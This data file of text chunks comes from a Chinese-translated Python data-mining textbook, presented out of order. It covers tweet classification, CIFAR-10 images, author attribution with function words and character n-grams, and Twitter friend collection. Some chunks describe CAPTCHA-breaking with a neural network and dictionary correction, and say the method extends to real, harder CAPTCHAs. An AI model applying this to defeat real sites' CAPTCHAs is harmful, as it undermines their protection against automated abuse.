    {"text": "import numpy as np print(\"Score: {:.3f}\".format(np.mean(scores))) 结果为0.798，这表明预测含有Python的消息与编程语言有关的F1值差不多为80%。"},
    {"text": "for i, feature_index in enumerate(top_features): print(i, dv.feature_names_[feature_index], np.exp(feature_probabilities[1][feature_index])) 前几个特征为“ : ” “ http ” “ # ” “ @ ”。"},
    {"text": "7 for 0.188679245283 11 with 0.141509433962 28 installing 0.0660377358491 29 Top 0.0660377358491 34 Developer 0.0566037735849 35 library 0.0566037735849 36 ] 0.0566037735849 37 [ 0.0566037735849 41 version 0.0471698113208 43 error 0.0471698113208 还有一些特征是在工作环境中提及Python，因此可能指的是编程语言Python。"},
    {"text": "） 22 jobs 0.0660377358491 30 looking 0.0566037735849 31 Job 0.0566037735849 34 Developer 0.0566037735849 38 Freelancer 0.0471698113208 40 projects 0.0471698113208 47 We're 0.0471698113208 上面最后一个特征通常出现在诸如“We're looking for a candidate for this job”（我们正在招聘符合该职位要求的员工）这样的消息中。"},
    {"text": "查看这些特征，我们收获不小，有了这些特征，我们自己经过训练也可以完成分类任务，寻找这些特征的共同点（与主题相关），或者去除讲不通的特征。"},
    {"text": "Unknown 11.2 应用场景和目标 本章将构建一个系统，它接收图像，给出图像里面是什么物体。该系统就好比是自动驾驶汽车的视觉系统，它能发现道路及两侧的任何障碍物。我们使用如下形式的图像。 图像数据来自于著名的CIFAR-10数据集，它含有6万张32像素见方的图像，每个像素都有一个红—绿—蓝（RGB）值。这个数据集已经分为训练集和测试集两部分，我们在训练结束后才会用到测试集，这里先提一下。 CIFAR10数据集的下载地址为 http://www.cs.toronto.edu/~kriz/cifar 。请下载Python版本，所有图像已经转换为 numpy 数组。 我们来看下这些图像数据长什么样，打开一个IPython Notebook笔记本文件，设置好文件名。我们开始只用第一批文件，到后面再增加数量使用全部数据集。 import os data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"cifar-10- batches-py\") batch1_filename = os.path.join(data_folder, \"data_batch_1\") 接着，创建一个函数，读取第一批图像文件数据。这些图像数据文件格式为pickle，pickle是Python用来保存对象的一个库。通常在pickle文件上调用 pickle.load 方法就能取得保存在里面的数据。但这里有个小问题：这些pickle文件是Python 2生成的，而我们要用Python3打开。所以在打开时需要把编码设置成latin（虽然我们是以字节模式打开）。 import pickle # Bigfix thanks to: http://stackoverflow.com/questions/11305790/ pickle-incompatability-of-numpy-arrays-between-python-2-and-3 def unpickle(filename): with open(filename, 'rb') as fo: return pickle.load(fo, encoding='latin1') 使用上述函数加载数据集。 batch1 = unpickle(batch1_filename) 这一批图像文件读进来后为一个字典结构，包含 numpy 数组形式的图像数据、图像类别、文件名以及该批文件的简短说明（例如，training batch 1 of 5表示训练集共五批，这是第一批）。 以data作为键，从字典batch1中取到存储这一批图像数据的列表后，再用图像索引号就能取到其中一张图像的数据。 image_index = 100 image = batch1['data'][image_index] 每一张图像数据为一个 numpy 数组，数组共有3072项，每一项为0到255之间的一个值。每个值代表图像某一位置的红、绿或蓝色的颜色强度。 图像数据格式与matplotlib（绘制图像）所使用的有所不同，因此，用它来显示图像前，需要改变数组的形状，对矩阵进行转换。这种数据格式不会影响神经网络训练（我们定义网络时会考虑支持这种数据格式），但是要用matplotlib绘制图像，就需要对数据格式进行转换。 image = image.reshape((32,32, 3), order='F') import numpy as np image = np.rot90(image, -1) 然后，就可以用matplotlib绘制图像。 %matplotlib inline from matplotlib import pyplot as plt plt.imshow(image) 这是张轮船图像。 图像分辨率很低——只有32像素见方。尽管如此，大部分人还是能看出图中是一艘船。我们能让计算机辨认出来吗？ 你可以修改图像索引查看其他图像，了解下数据集的特点。 本章项目的目标是创建分类系统，预测像上面这样的图像的类别。 使用场景 计算机视觉技术应用范围很广。 在线地图网站，比如谷歌地图就使用计算机视觉技术，自动为街景中的人脸添加模糊效果，以保护被拍摄到的人们的隐私。除此之外，还有别的用途。 人脸识别技术在很多行业都有所应用。如今，照相机都能自动识别人脸，以提升拍摄质量（拍照时用户往往把相机聚焦到脸部）。人脸识别技术还可以用来识别照片中的人脸。Facebook就使用了这项技术，方便用户标记朋友。 我们前面也说过，自动驾驶汽车高度依赖计算机视觉来识别道路，躲避障碍物。计算机视觉是很多行业、应用都在努力解决的一个问题，不只是为了研制自动驾驶汽车，也不只是为了满足消费者的需求，采矿业等行业也在寻求攻克计算机视觉技术难关之路。 除此之外，其他行业也在使用计算机视觉技术，比如仓储业自动检测不合格产品就用到该项技术。 航天工业使用计算机视觉技术实现数据采集的自动化。这对于有效使用航天器来说至关重要，因为从地球上发送信号到火星上的探测车要花费很长时间，有时还会无法送达（例如，地球和火星不是面对面时）。人们跟太空探测器打交道越来越多，而从遥远的地球控制它们很不方便，增加这些设备的自主性就显得很有必要。 下图为美国国家航空和航天局（NASA）设计的火星车，它大量应用了计算机视觉技术。"},
    {"text": "Unknown 1.1 数据挖掘简介 数据挖掘旨在让计算机根据已有数据做出决策。决策可以是预测明天的天气、拦截垃圾邮件、检测网站的语言，或者在约会网站上发现新的恋爱对象。数据挖掘方面的应用已经有很多，新的应用也在源源不断地出现。 数据挖掘涉及算法、统计学、工程学、最优化理论和计算机科学相关领域的知识。除此之外，我们还会用到语言学、神经科学、城市规划等其他领域的概念或知识。要想充分发挥数据挖掘的威力，通常需要在算法中整合这些属于特定领域的知识。 虽然数据挖掘相关应用的实现细节可能千差万别，但是从较高的层次看，它们往往大同小异。数据挖掘的第一步一般是创建数据集，数据集能够描述真实世界的某一方面。数据集主要包括以下两个部分。 表示真实世界中物体的样本。样本可以是一本书，一张照片，一个动物，一个人或是其他任何物体。 描述数据集中样本的特征。特征可以是长度、单词频率、腿的数量、创建时间等。 接下来是调整算法。每种数据挖掘算法都有参数，它们或者是算法自身包含的，或者是使用者添加的。这些参数会影响算法的具体决策。 举个简单的例子，我们希望计算机能够把人按照个子高矮分成两大类。我们首先采集数据，得到包含每个人身高的一组数据，以及对他们高矮的判断。 人 身高 高还是矮 1 155cm 矮 2 165cm 矮 3 175cm 高 4 185cm 高 接下来要做的就是调整我们的算法。作为一个简单的算法，如果身高高于 x ，我们就认为这个人是高个子，否则，他就属于矮个子。我们的算法要过一遍数据，确定 x 的最佳值。对于上面的数据集， x 比较合理的值为170cm。任何高于170cm的人就被归到高个子一类中，其余则为矮个子。 在上面这个数据集中，特征显而易见为身高。因为我们想知道人们的高矮，所以采集了他们的身高数据。抽取特征是数据挖掘过程的一个重要环节。本书后面的章节中会介绍从数据集中抽取区分度高的特征的方法。特征抽取往往需要对相关领域有着深入的理解，或至少需要多次试错。 本书中使用Python语言介绍数据挖掘。出于讲解的需要，为了保证代码、流程的清晰易懂，我们有时候跳过了能够提升算法速度、效果的细节，没有采用最优方案。"},
    {"text": "因此，从经验来看，选用使用频率较高的功能词做特征比较好（在所有文档中使用频率高，而不仅是在单个作者的作品中）。 通常而言，使用越频繁的单词，对于作者分析能提供更多有价值的信息。 相反，使用频率较低的单词，更适合用来做基于内容的文本挖掘，例如下章要讲的文档主题划分。"},
    {"text": "例如，很多美国人比较在意区分that和which在句子中的用法，澳大利亚等国家的人就不太在意。 在使用这两个词的地方，有些澳大利亚人要么几乎无一例外地都用that，要么是which用得多一点。"},
    {"text": "function_words = [\"a\", \"able\", \"aboard\", \"about\", \"above\", \"absent\", \"according\" , \"accordingly\", \"across\", \"after\", \"against\", \"ahead\", \"albeit\", \"all\", \"along\", \"alongside\", \"although\", \"am\", \"amid\", \"amidst\", \"among\", \"amongst\", \"amount\", \"an\", \"and\", \"another\", \"anti\", \"any\", \"anybody\", \"anyone\", \"anything\", \"are\", \"around\", \"as\", \"aside\", \"astraddle\", \"astride\", \"at\", \"away\", \"bar\", \"barring\", \"be\", \"because\", \"been\", \"before\", \"behind\", \"being\", \"below\", \"beneath\", \"beside\", \"besides\", \"better\", \"between\", \"beyond\", \"bit\", \"both\", \"but\", \"by\", \"can\", \"certain\", \"circa\", \"close\", \"concerning\", \"consequently\", \"considering\", \"could\", \"couple\", \"dare\", \"deal\", \"despite\", \"down\", \"due\", \"during\", \"each\", \"eight\", \"eighth\", \"either\", \"enough\", \"every\", \"everybody\", \"everyone\", \"everything\", \"except\", \"excepting\", \"excluding\", \"failing\", \"few\", \"fewer\", \"fifth\", \"first\", \"five\", \"following\", \"for\", \"four\", \"fourth\", \"from\", \"front\", \"given\", \"good\", \"great\", \"had\", \"half\", \"have\", \"he\", \"heaps\", \"hence\", \"her\", \"hers\", \"herself\", \"him\", \"himself\", \"his\", \"however\", \"i\", \"if\", \"in\", \"including\", \"inside\", \"instead\", \"into\", \"is\", \"it\", \"its\", \"itself\", \"keeping\", \"lack\", \"less\", \"like\", \"little\", \"loads\", \"lots\", \"majority\", \"many\", \"masses\", \"may\", \"me\", \"might\", \"mine\", \"minority\", \"minus\", \"more\", \"most\", \"much\", \"must\", \"my\", \"myself\", \"near\", \"need\", \"neither\", \"nevertheless\", \"next\", \"nine\", \"ninth\", \"no\", \"nobody\", \"none\", \"nor\", \"nothing\", \"notwithstanding\", \"number\", \"numbers\", \"of\", \"off\", \"on\", \"once\", \"one\", \"onto\", \"opposite\", \"or\", \"other\", \"ought\", \"our\", \"ours\", \"ourselves\", \"out\", \"outside\", \"over\", \"part\", \"past\", \"pending\", \"per\", \"pertaining\", \"place\", \"plenty\", \"plethora\", \"plus\", \"quantities\", \"quantity\", \"quarter\", \"regarding\", \"remainder\", \"respecting\", \"rest\", \"round\", \"save\", \"saving\", \"second\", \"seven\", \"seventh\", \"several\", \"shall\", \"she\", \"should\", \"similar\", \"since\", \"six\", \"sixth\", \"so\", \"some\", \"somebody\", \"someone\", \"something\", \"spite\", \"such\", \"ten\", \"tenth\", \"than\", \"thanks\", \"that\", \"the\", \"their\", \"theirs\", \"them\", \"themselves\", \"then\", \"thence\", \"therefore\", \"these\", \"they\", \"third\", \"this\", \"those\", \"though\", \"three\", \"through\", \"throughout\", \"thru\", \"thus\", \"till\", \"time\", \"to\", \"tons\", \"top\", \"toward\", \"towards\", \"two\", \"under\", \"underneath\", \"unless\", \"unlike\", \"until\", \"unto\", \"up\", \"upon\", \"us\", \"used\", \"various\", \"versus\", \"via\", \"view\", \"wanting\", \"was\", \"we\", \"were\", \"what\", \"whatever\", \"when\", \"whenever\", \"where\", \"whereas\", \"wherever\", \"whether\", \"which\", \"whichever\", \"while\", \"whilst\", \"who\", \"whoever\", \"whole\", \"whom\", \"whomever\", \"whose\", \"will\", \"with\", \"within\", \"without\", \"would\", \"yet\", \"you\", \"your\", \"yours\", \"yourself\", \"yourselves\"] 既然有了功能词列表，我们就来创建功能词统计工具。"},
    {"text": "from sklearn.feature_extraction.text import CountVectorizer extractor = CountVectorizer(vocabulary=function_words) 9.2.2 用功能词进行分类 接下来，导入所需的几个类，唯一的新内容支持向量机在下节会讲（现在把它看作是标准的分类算法即可）。"},
    {"text": "from sklearn.svm import SVC from sklearn.cross_validation import cross_val_score from sklearn.pipeline import Pipeline from sklearn import grid_search 支持向量机接收一系列参数。"},
    {"text": "parameters = {'kernel':('linear', 'rbf'), 'C':[1, 10]} svr = SVC() grid = grid_search.GridSearchCV(svr, parameters) 高斯内核（例如 rbf ）只适用于数据集相对较小的情况，比如特征数少于10 000。"},
    {"text": "代码如下： pipeline1 = Pipeline([('feature_extraction', extractor), ('clf', grid) ]) 然后，使用 cross_val_score 对该流水线的结果进行交叉检验，正确率为0.811，大约80%的预测结果正确。"},
    {"text": "Unknown 9.4 字符N元语法 我们前面研究的是如何用功能词做特征预测文档的作者。接下来看下 字符N元语法 特征。N元语法由一系列的N个为一组的对象组成。N为每组对象的个数（对于文本来说，N通常取2到6之间的值）。 基于单词的N元语法 被广泛用在通常与文档主题相关的各项研究中。然而，基于字符的N元语法被证明在作者归属问题上效果很好。 我们可以把文档看成是由一系列字符组成的，从里面抽取N元语法，训练得到模型。常用模型有几个，其中标准模型跟我们之前用到的词袋模型很相似。 分别为训练语料中各个不同的N元语法创建一个特征。例如，由字母e、空格和字母t组成的N元语法 <e t> （尖括号标识N元语法的边界，不是N元语法的内容）。然后，我们使用N元语法在训练集中的频率训练模型，再用生成的特征矩阵训练分类器。 基于字符的N元语法有几种不同的定义方法。比如，有些应用只选取单词内的字符，忽略空格和标点。但有些就使用这些信息（比如我们这一章）。 关于基于字符的N元语法为什么效果比较好，广为接受的理论是，人们在写作时，往往选取那些他们讲起来很容易的单词，而字符N元模型（至少N取 2到6之间时）跟这些音素具有很好的相似关系——音素指的是我们讲话时，组成单词发音的那些声音。从这种意义上讲，用字符N元模型可以很好地模拟讲话时经常用到的单词，而这些单词形成了写作风格。这是创建新特征的通用模式：先找到哪些概念影响最终结果（写作风格）的理论依据，然后创建跟这些概念相近或是能够量化这些概念的特征。 字符N元语法矩阵的一个主要特点是数据稀疏，随着N值的增加，稀疏程度逐渐加大，且速度很快。N取2时，我们的特征矩阵中大约75%的项都是0，N取5时，93%以上的项为0。比起基于词语的N元语法矩阵来说，稀疏程度要低一些，因此，适用于单词分类的分类器处理数据，不会有太大问题。 抽取字符N元语法 我们接下来用 CountVectorizer 类来抽取N元语法，需要设置 analyzer 参数，指定N的值。 scikit-learn 的N元语法抽取工具提供了 range 参数，允许用户同时抽取不同长度的N元语法。我们这里用不到，只抽取相同长度即可， range 参数的两个值使用相同值即可。要抽取长度为3的N元语法， range 的值需要设置为(3, 3)。 我们可以重用前面网格搜索代码，但是需要在新流水线中指定新的特征抽取器。 pipeline = Pipeline([('feature_extraction', CountVectorizer(analyzer=' char', ngram_range=(3, 3))), ('classifier', grid) ]) scores = cross_val_score(pipeline, documents, classes, scoring='f1') print(\"Score: {:.3f}\".format(np.mean(scores))) 功能词和字符N元模型之间存在大量隐式重合，因为字符序列更可能出现在功能词中。然而，实际上两者差别很大，字符N元模型能够捕获标点的使用特点，功能词自然做不到。例如，字符N元语法能够包含句号，而基于功能词的方法就只能使用句号前的单词。 Unknown 8.5 小结 本章的任务是根据验证码图像的像素值识别里面的单词。当然，为了简化难度，验证码使用由四个字母组成的英语单词。网站上实际使用的验证码要比这复杂得多——也应该这样！但是，只要对上面所讲的算法进行改进，就能通过神经网络，使用跟这里类似的方法破解更为复杂的验证码。 scikit-image 库提供大量图像处理工具，比如从图像中抽取不同形状的小图像和改善图像对比度的方法等。这些方法有助于破解验证码。 我们把识别单词的难题转化为识别字母的小问题，创建前向神经网络识别图像中的字母，取得了97%的准确率。 神经网络由一组组神经元连接而成，神经元为基本的计算单元，每个神经元都只包含一个函数。然而，所有的神经单元连接在一起就能解决复杂程度很高的问题。神经网络是深度学习的基础，后者可是当今数据挖掘领域最受关注的方向之一。 尽管识别字母正确率很高，但是单词识别正确率陡然降至50%多点。原因有很多，其实这恰好说明把算法从实验环境搬到真实环境会遇到各种各样的困难。 使用词典，寻找最匹配的单词，能够提升正确率。我们考虑使用常用的编辑距离表示单词间的相似度；但是我们只关注字母错误而不深究与哪些编辑步骤（插入、删除）相关，因此简化了距离计算方法。最终正确率有所提升，但是还有很多要改进的地方。 下一章将继续研究字符串比较，尝试找出文档的主人（从多名可能的作者中）——只根据文档内容而不使用其他信息！"},
    {"text": "Unknown 8.4 用词典提升正确率 我们刚刚是直接返回预测结果，其实返回之前可以先检查一下词典里是否包含该词条。如果单词在词典里，那么就返回预测结果，如果不在，我们找到和预测结果相似的单词，再把它作为更新过的预测结果返回。注意，该方法是基于所有验证码中的单词都是英语单词的假设，因此，对于随机选取字母组成的验证码来说不适用。其实这正是很多验证码不使用单词的原因之一。 还有一个问题要解决——如何找到最相近的单词？方法有很多。例如，比较词长。词长差不多的两个单词更相似。然而，通常认为，在相同位置有相同字母的两个单词更相似，这就要用到编辑距离。 8.4.1 寻找最相似的单词 列文斯坦编辑距离 （Levenshtein edit distance）是一种通过比较两个短字符串，确定它们相似度的方法。它不太适合扩展，字符串很长时通常不用这种方法。编辑距离需要计算从一个单词变为另一个单词所需要的步骤数。以下操作都算一步。 (1) 在单词的任意位置插入一个新字母。 (2) 从单词中删除任意一个字母。 (3) 把一个字母替换为另外一个字母。 把一个单词转变为另外一个单词所需步数越少，这两个单词越相似，反之，差别越大。 NLTK 实现了编辑距离算法，可以直接拿来用。导入后，指定两个单词，看下它们的编辑距离。 from nltk.metrics import edit_distance steps = edit_distance(\"STEP\", \"STOP\") print(\"The number of steps needed is: {0}\".format(steps)) 尝试不同的单词，你会发现编辑距离返回的结果跟我们的直觉很相近。编辑距离在检查拼写、听写错误和名称匹配（比如Marc和Mark的拼写形式就极易被搞混）方面用处很大。 然而，我们这里没这么复杂，只需要比较两个单词同等位置上的字母是否一致即可，不涉及字母的移动。因此，我们自己来编写距离度量函数，也就是统计同等位置上字母不同的数量。代码如下： def compute_distance(prediction, word): return len(prediction) - sum(prediction[i] == word[i] for i in range(len(prediction))) 用词长（4）减去同等位置上相同的字母的数量，得到的值越小表示两个词相似度越高。 8.4.2 组装起来 我们现在就来测试改进的预测函数，代码跟之前相似。首先，定义预测函数，这次把单词列表也传进去。 from operator import itemgetter def improved_prediction(word, net, dictionary, shear=0.2): captcha = create_captcha(word, shear=shear) prediction = predict_captcha(captcha, net) prediction = prediction[:4] 到目前为止，代码跟之前的预测函数一致，还是取到预测结果的前四个字母。然而，这次还要检测单词是否在词典里。如果在，把单词作为预测结果返回；如果不在，找到最相似的单词返回。代码如下： if prediction not in dictionary: 计算预测结果和词典中每个单词的距离，按照距离由小到大进行排序。代码如下： distances = sorted([(word, compute_distance(prediction, word)) for word in dictionary], key=itemgetter(1)) 找到最为匹配的单词——也就是距离最小的单词——随后把这个单词作为预测结果返回。 best_word = distances[0] prediction = best_word[0] 函数返回结果跟之前相同：预测结果是否正确，验证码中的单词和预测结果。 return word == prediction, word, prediction 测试代码中需要变动的地方用粗体表示。 num_correct = 0 num_incorrect = 0 for word in valid_words: correct, word, prediction = improved_prediction(word, net, valid_words, shear=0.2) if correct: num_correct += 1 else: num_incorrect += 1 print(\"Number correct is {0}\".format(num_correct)) print(\"Number incorrect is {0}\".format(num_incorrect)) 上述代码运行时间稍长（计算预测结果跟词典中每个单词之间的距离要耗费一定时间），最终正确识别3037个单词，错误识别2476个，正确率较之前有4个百分点的提升，达到55%。由于预测结果跟词典中很多单词的相似度一致，算法随机从一组最相似的单词中选择 最佳 的，所以算法效果提升很有限。例如，词典中第一个单词AANI（埃及神话中狗头猿猴），跟其他44个单词距离相同。选中的几率就只有1/44。 如果我们作弊，预测结果只要从最相似的一组词中随机挑一个就算是正确的话，那么预测结果正确率将高达78%（代码请见本书配套的代码包）。 要进一步提升正确率，得改变距离测量方法，看能不能利用之前得到的混淆矩阵，找到 经常被混淆的字母 或其他有用信息。逐步改进效果，是很多数据挖掘算法的一个特点，这跟科学实验方法是一脉相承的——产生想法，做实验，分析结果，再根据结果做进一步的改进。"},
    {"text": "函数声明如下： def fit(self, X): fit 函数中，要确保 X 数据集可以处理，我们用到了 as_float_array 函数（尝试对 X 进行转换，例如 X 是浮点数列表时就可以对其进行转换）。 X = as_float_array(X) 计算数组的均值，用内部变量保存该值。"},
    {"text": "self.mean = X.mean(axis=0) fit 函数需要返回它本身，确保在转换器中能够进行链式调用（例如调用 ransformer. fit(X).transform(X) ）。 函数返回语句如下： return self 接着，新建 transform 函数，参数类型与 fit 函数相同，检查下输入是否合法。 def transform(self, X): X = as_float_array(X) 输入必须是 numpy 数组（或等价的数据结构），除此之外，还需要检查输入的数据列数是否一致。"},
    {"text": "assert X.shape[1] == self.mean.shape[0] 函数最后返回 X 中大于均值的数据。 return X > self.mean 初始化一个实例，用它来对 X 数组进行转换。 mean_discrete = MeanDiscrete() X_mean = mean_discrete.fit_transform(X) 5.4.3 单元测试 创建完函数和类后，最好是做下单元测试。"},
    {"text": "为了创建单元测试，我们从 numpy 的testing模块中导入 assert_array_equal 函数，它用来检测两个数组是否相等。 from numpy.testing import assert_array_equal 接下来，创建测试函数，注意文件名以“test_”开头，这种命名方法便于工具自动查找并运行测试。"},
    {"text": "代码如下： def test_meandiscrete(): X_test = np.array([[ 0, 2], [ 3, 5], [ 6, 8], [ 9, 11], [12, 14], [15, 17], [18, 20], [21, 23], [24, 26], [27, 29]]) 创建转换函数实例，用测试数据进行训练。"},
    {"text": "X_transformed = mean_discrete.transform(X_test) X_expected = np.array([[ 0, 0], [ 0, 0], [ 0, 0], [ 0, 0], [ 0, 0], [ 1, 1], [ 1, 1], [ 1, 1], [ 1, 1], [ 1, 1]]) 最后，测试转换器返回结果是否与期望结果一致。 assert_array_equal(X_transformed, X_expected) 调用函数，开始测试！ test_meandiscrete() 如果没弄错，上述代码应该没有问题！ 可以改动测试数据，用几个错误值，看看是否测试失败。 要让测试结果通过，记得再改回正确的值。"},
    {"text": "来看下代码： from sklearn.pipeline import Pipeline pipeline = Pipeline([('mean_discrete', MeanDiscrete()), ('classifier', DecisionTreeClassifier(random_state=14))]) scores_mean_discrete = cross_val_score(pipeline, X, y, scoring='accuracy') print(\"Mean Discrete performance: {0:.3f}\".format(scores_mean_discrete.mean())) 正确率为0.803，结果没有之前高，对于简单的二值特征而言还算不错。"},
    {"text": "Unknown 下载示例代码 如果你是从 http://www.packtpub.com 网站购买的图书，用自己的账号登录后，可以下载所有已购图书的示例代码。如果你是从其他地方购买的，请访问 http://www.packtpub.com/support 网站并注册，我们会用邮件把代码文件直接发给你。"},
    {"text": "Unknown 9.1 为作品找作者 作者分析可以从 文体学 （stylometry）中找到它的一席之地，文体学分析研究的是作者的写作风格，所依据的理念是每个人在语言掌握上有微小差异，这会反映到写作中，通过分析作品之间的细微差别，就可以把作者区分开来。"},
    {"text": "过去一直靠人工统计、分析来解决作者分析问题，而这些工作恰好是计算机所擅长的，这表明可以借助数据挖掘技术来实现自动化。 如今作者分析的研究工作几乎都是用数据挖掘方法来解决，但仍有不少研究偏重于人工分析作品语言风格。"},
    {"text": "9.1.2 作者归属 作者归属可以看作是一种分类问题，已知一部分作者，数据集为多个作者的作品（训练集），目标是确定一组作者不详的作品（测试集）是谁写的。"},
    {"text": "不只是作者归属问题可以这样区分——任何数据挖掘应用，只要实际的类别可能不在训练集中的都叫作开放问题，对于这类问题进行挖掘，最终目标分两种情况，如果在训练集中，就返回找到的类别，如果不在，要给出不属于任何现有类别的提示。"},
    {"text": "例如，根据我写的这本书为我的写作风格建模，可能会得出“ 数据挖掘 ”这个词能代表我的风格这样的结论，而事实上，我还写一些其他主题的内容。"},
    {"text": "塔金顿（Booth Tarkington，22篇） 狄更斯（Charles Dickens，44篇） 伊迪斯·内斯比特（Edith Nesbit，10篇） 阿瑟·柯南·道尔（Arthur Conan Doyle，51篇） 马克·吐温（Mark Twain，29篇） 理查德·弗朗西斯·伯顿爵士（Sir Richard Francis Burton，11篇） 埃米尔·加博里奥（Emile Gaboriau，10篇） 以上总共是7位作家的177篇作品，文本数量还是相当可观的。"},
    {"text": "import os import sys data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"books\") 接着，就可以使用代码包中我写好的代码，从古腾堡计划的网站下载图书。"},
    {"text": "从代码包Chapter 9文件夹中找到getdata.py，保存到笔记本文件所在目录下，在新格子中输入以下代码。 !load getdata.py 在笔记本中，按下Shift+Enter运行该格子的代码。"},
    {"text": "我们可能会丢失先前做过的改动，从而导致实验结果无法重现，因此，不如在加载文件时跳过这部分——这样再次用这些文件做实验时，也能得到同样的结果（只要原文件没变）。"},
    {"text": "lines = document.split(\"\\n\") 遍历文档的每一行，寻找作品的开头和结尾，中间部分就是作品内容。 代码如下： start = 0 end = len(lines) for i in range(len(lines)): line = lines[i] if line.startswith(\"*** START OF THIS PROJECT GUTENBERG\"): start = i + 1 elif line.startswith(\"*** END OF THIS PROJECT GUTENBERG\"): end = i - 1 函数最后，用换行符把所有行再连接起来，得到作品内容。 return \"\\n\".join(lines[start:end]) 现在，我们可以创建一个函数，加载所有图书，进行上述预处理操作，返回书的内容以及作家序号 1 。"},
    {"text": "——译者注 import numpy as np 声明加载图书的函数，参数为图书所在目录books，该目录下是一系列以作者名字命名的子文件夹，图书文件就在这些子文件夹中。"},
    {"text": "代码如下： def load_books_data(folder=data_folder): 创建两个列表，分别用来存储文档和作者。 documents = [] authors = [] 获取到books目录下所有的子文件夹。 代码如下： subfolders = [subfolder for subfolder in os.listdir(folder) if os.path.isdir(os.path.join(folder, subfolder))] 遍历这些子文件夹，使用 enumerate 函数为这些子文件夹指定索引。 for author_number, subfolder in enumerate(subfolders): 获取到子文件夹的绝对路径，查找里面的所有图书文件。 full_subfolder_path = os.path.join(folder, subfolder) for document_name in os.listdir(full_subfolder_path): 对于找到的每一个图书文件，打开后读取里面的内容，对内容进行预处理后，将其添加到 documents 列表中。 代码如下： with open(os.path.join(full_subfolder_path, document_name)) as inf: documents.append(clean_book(inf.read())) 把分配给作家的索引号添加到 authors 列表中，其实 authors 就是类别列表。 authors.append(author_number) 函数最后返回文档和类别（把类别列表转换为 numpy 数组）。 return documents, np.array(authors, dtype='int') 调用上面定义的加载图书函数，就能获得图书文档及其它们的类别。 documents, classes = load_books_data(data_folder) 把这些数据加载到内存没有问题，因此，我们可以立即加载。"},
    {"text": "可以沿用上一章所创建的Twitter应用的密钥信息，再创建新的也可以： import twitter consumer_key = \"<Your Consumer Key Here>\" consumer_secret = \"<Your Consumer Secret Here>\" access_token = \"<Your Access Token Here>\" access_token_secret = \"<Your Access Token Secret Here>\" authorization = twitter.OAuth(access_token, access_token_secret, consumer_key, consumer_secret) t = twitter.Twitter(auth=authorization, retry=True) 指定输出文件名： import os data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\") output_filename = os.path.join(data_folder, \"python_tweets.json\") 依然用 json 库保存数据： import json 接下来，收集一组用户信息。"},
    {"text": "代码如下： original_users = [] tweets = [] user_ids = {} 搜索包含python的消息，遍历搜索结果： search_results = t.search.tweets(q=\"python\", count=100)['statuses'] for tweet in search_results: 我们只对消息感兴趣，对Twitter可能返回的其他信息不感兴趣，因此检测消息中有没有text属性： if 'text' in tweet: 如果有，记录用户昵称、消息正文，并且将用户昵称和编号关联起来。 代码如下： original_users.append(tweet['user']['screen_name']) user_ids[tweet['user']['screen_name']] = tweet['user']['id'] tweets.append(tweet['text']) 运行上述代码将会得到大约100条消息，有时可能会少些。"},
    {"text": "代码如下： from sklearn.externals import joblib output_filename = os.path.join(os.path.expanduser(\"~\"), \"Models\", \"twitter\", \"python_context.pkl\") 接着，用 joblib 库的 dump 函数，与 json 库的 dump 函数功能类似。"},
    {"text": "复制下面代码，在当前笔记本文件中再次指定模型的文件名： model_filename = os.path.join(os.path.expanduser(\"~\"), \"Models\", \"twitter\", \"python_context.pkl\") 检查下这里的文件名是否与保存模型所用的文件名相同。"},
    {"text": "现在，只需从上一章的代码中复制整个 NLTKBOW 类及它所依赖的模块： from sklearn.base import TransformerMixin from nltk import word_tokenize class NLTKBOW(TransformerMixin): def fit(self, X, y=None): return self def transform(self, X): return [{word: True for word in word_tokenize(document)} for document in X] 现在，只需调用 joblib 的 load 函数就能加载模型： from sklearn.externals import joblib context_classifier = joblib.load(model_filename) context_classifier 与第6章的 model 对象功能相同，是 Pipeline 对象的实例，它的三个步骤也与第6章流水线（ NLTKBOW 、 DictVectorizer 和 BernoulliNB 分类器）相同。"},
    {"text": "调用 context_classifier 模型的 predict 函数，预测消息是否与编程语言相关。 代码如下： y_pred = context_classifier.predict(tweets) 如果第 i 条消息与编程语言有关，那么 y_pred 中的第 i 项为1，否则为0。 据此，可以获取到所有与编程语言有关的消息及用户： relevant_tweets = [tweets[i] for i in range(len(tweets)) if y_pred[i] == 1] relevant_users = [original_users[i] for i in range(len(tweets)) if y_pred[i] == 1] 用我采集的数据，共找到46名相关用户。"},
    {"text": "Twitter提供了相应API： friends/ids ，它好用的地方在于一次调用最多能获得高达5000个好友的编号，不好的地方是每15分钟最多只能调用15次，这也就意味着获取每个用户的好友列表至少需要一分钟——如果好友数量多于5000，需要更多时间（这种情况比想象中的更常见）。"},
    {"text": "代码如下： while cursor != 0: try: results = t.friends.ids(user_id= user_id, cursor=cursor, count=5000) friends.extend([friend for friend in results['ids']]) cursor = results['next_cursor'] if len(friends) >= 10000: break 这里有必要插入条警告信息。"},
    {"text": "最可能犯的错误是不小心达到了API访问次数的上限（虽然 sleep 语句可以在一定程度上避免这种情况，但在 sleep 语句结束前，中止代码执行后，接着在原本应该停顿的时间重新运行代码，就会出现这种情况）。"},
    {"text": "代码如下： except TypeError as e: if results is None: print(\"You probably reached your API limit, waiting for 5 minutes\") sys.stdout.flush() time.sleep(5*60) # 5 minute wait else: raise e 第二类异常可能发生在Twitter这一端，比如查找的用户不存在或是其他和数据相关的错误。"},
    {"text": "把这段代码放到 finally 语句中，遇到异常后，也会执行： finally: time.sleep(60) 函数最后返回所采集到的好友编号： return friends 下面是完整的函数： import time def get_friends(t, user_id): friends = [] cursor = -1 while cursor != 0: try: results = t.friends.ids(user_id= user_id, cursor=cursor, count=5000) friends.extend([friend for friend in results['ids']]) cursor = results['next_cursor'] if len(friends) >= 10000: break except TypeError as e: if results is None: print(\"You probably reached your API limit, waiting for 5 minutes\") sys.stdout.flush() time.sleep(5*60) # 5 minute wait else: raise e except twitter.TwitterHTTPError as e: break finally: time.sleep(60) return friends 7.1.3 构建网络 现在着手构建网络。"},
    {"text": "从最初的46名（你得到的数据集可能与我的有差异）用户出发，找到每个人的好友，将其保存到字典里（从 user_id 字典拿到用户编号）： friends = {} for screen_name in relevant_users: user_id = user_ids[screen_name] friends[user_id] = get_friends(t, user_id) 删除没有好友的孤家寡人。"},
    {"text": "代码如下： friends = {user_id:friends[user_id] for user_id in friends if len(friends[user_id]) > 0} 这样能剩下30到50个用户，具体数量与你之前的搜索结果有关。"},
